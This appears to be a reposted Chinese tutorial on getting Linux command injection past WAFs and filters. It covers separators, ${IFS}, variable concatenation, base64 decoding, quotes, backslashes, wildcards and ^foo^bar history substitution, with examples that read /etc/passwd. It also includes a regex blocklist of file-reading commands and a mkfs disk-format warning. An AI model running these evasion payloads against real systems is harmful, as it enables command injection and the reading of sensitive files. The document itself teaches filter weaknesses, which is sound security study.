linux命令绕过

WAF绕过命令执行

  • 1 命令分隔符
  • 2 命令执行绕过
    • 2.1 绕过空格
    • 2.2 拼接
    • 2.3 编码
    • 2.4 单引号、双引号绕过
    • 2.5 反斜线绕过
    • 2.6 通配符绕过
    • 2.7 \^foo\^bar 危险
      • 2.7.1 先看一个简单的例子,第一个\^符号代替了上一个echo命令,第二个\^符号加上一个关键字拼接到后面
      • 2.7.2 查看passwd案例

1 命令分隔符

linux: && || & | ;

# &&绕过
[root@localhost ~]# echo 123&& cat /etc/passwd
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
# ||绕过
[root@localhost ~]# xxx||cat /etc/passwd
-bash: xxx: 未找到命令
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
# &绕过
echo 123&cat /etc/passwd
[1] 6643
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...
#分号;在shell中担任连续指令的功能
 echo 123;cat /etc/passwd
123
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...

2 命令执行绕过

2.1 绕过空格

${IFS}

$IFS$9 # 9 可改成 9可改成 9可改成加其他数字

示例

echo${IFS}123
123

${IFS}后面可以跟多个$1$9$@$*等等命令正常执行
echo${IFS}$1123
123
echo${IFS}$8$9$2123
123

重定向符<>
cat<>/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

{cat,flag.php} #用逗号,实现了空格功能
{cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

2.2 拼接

#在linux系统中

a=g;cat fla$a.php

a=fl;b=ag.php;cat a a ab

示例

a=cat;b=/etc/;c=passwd
root@ubuntu2204-186:/software/hidsagent-0.1.6# $a${IFS}$b$c
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

2.3 编码

示例

echo "cat${IFS}/etc/passwd" |base64
Y2F0IAkKL2V0Yy9wYXNzd2QK
$(echo "Y2F0IAkKL2V0Yy9wYXNzd2QK"|base64 -d)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin


2.4 单引号、双引号绕过

示例

#单引号、双引号存在关键字任何位置都可以
cat /e''tc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

cat /""etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

2.5 反斜线绕过

cat /e\tc/passwd

示例

cat \/e\tc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

备注:cp、mv等之类需要交互输入yes的命令加上反斜线、单双引号都可以成为面交互形式(ubuntu cp、mv命令可以面交互执行多次)

[root@localhost ~]# cp test1.txt /opt/
[root@localhost ~]# cp test1.txt /opt/
cp:是否覆盖"/opt/test1.txt"? n
[root@localhost ~]# c\p test1.txt /opt/
[root@localhost ~]# \cp test1.txt /opt/
[root@localhost ~]# c''p test1.txt /opt/
[root@localhost ~]# c""p test1.txt /opt/
[root@localhost ~]# ''cp test1.txt /opt/
[root@localhost ~]# ""cp test1.txt /opt/
[root@localhost ~]# cp"" test1.txt /opt/

2.6 通配符绕过

*   代表『 0 个到无穷多个』任意字符
?   代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]   若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

示例

/?in/cat /?tc/p?sswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

2.7 ^foo^bar 危险

^foo^bar命令用于编辑以前运行的命令,而不需要重新输入整个命令。在不确定之前命令的作用之前,小心使用这个命令,防止出现不必要的麻烦。

什么意思呢看下面演示:

2.7.1 先看一个简单的例子,第一个^符号代替了上一个echo命令,第二个^符号加上一个关键字拼接到后面

echo first
first
[root@localhost ~]# ^first
echo

[root@localhost ~]# ^first^second
-bash: :s^first^second: substitution failed
[root@localhost ~]# echo first
first
[root@localhost ~]# ^first^second
echo second
second
[root@localhost ~]#
[root@localhost ~]# echo first
first
[root@localhost ~]# ^first^second
echo second
second

2.7.2 查看passwd案例

首先我写了一个正则过滤危险命令之查看敏感文件如下

egrep -E “(sudo[[:space:]]+)?((/.)?(cut|cat|tac|nl|more|less|head|tail|od|hexdump|grep|egrep|fgrep|rgrep|awk|sed|csplit|fmt|fold|mtype|sort|spell|uniq)[[:space:]]+./etc/.*)” test.f
find . -name test.f -exec cat “/etc/passwd” ;
cat /etc/rc.local
cat /etc/bashrc
cat -n /etc/passwd
less /etc/passwd
od /etc/passwd
cut -d ‘:’ -f 1 /etc/passwd
tac /etc/passwd
nl /etc/passwd
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
hexdump -C /etc/passwd
hexdump -C /etc/passwd > 16passwd.txt
grep “root” /etc/passwd
awk ‘{print}’ /etc/passwd
sed -n ‘1,$p’ /etc/passwd
csplit /etc/passwd 1
fmt /etc/passwd
fold /etc/passwd
mtype /etc/passwd
mtype -xxx -xx /etc/passwd
sort /etc/passwd
spell /etc/passwd
uniq /etc/passwd
uniq -c -q /etc/passwd

此时我换成^符号,正则就识别不到head、cat等关键字了

head test1.txt
123
123
123
123
123
[root@localhost ~]# ^test1.txt^/etc/passwd
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin

格式化磁盘也是

#格式化演示,可想可知,如果前面输入的是正常格式化别的附加盘,没什么危险,但是下面^符合调用了上面的mkfs命令执行格式化系统盘
 mkfs.xfs xxx
xxx: 没有那个文件或目录
Usage: mkfs.xfs
/* blocksize */         [-b log=n|size=num]
/* metadata */          [-m crc=0|1,finobt=0|1]

[root@localhost ~]# ^xxx^ccc
mkfs.xfs ccc
ccc: 没有那个文件或目录
Usage: mkfs.xfs
/* blocksize */         [-b log=n|size=num]
/* metadata */          [-m crc=0|1,finobt=0|1]

你可能感兴趣的:(linux,运维,网络安全)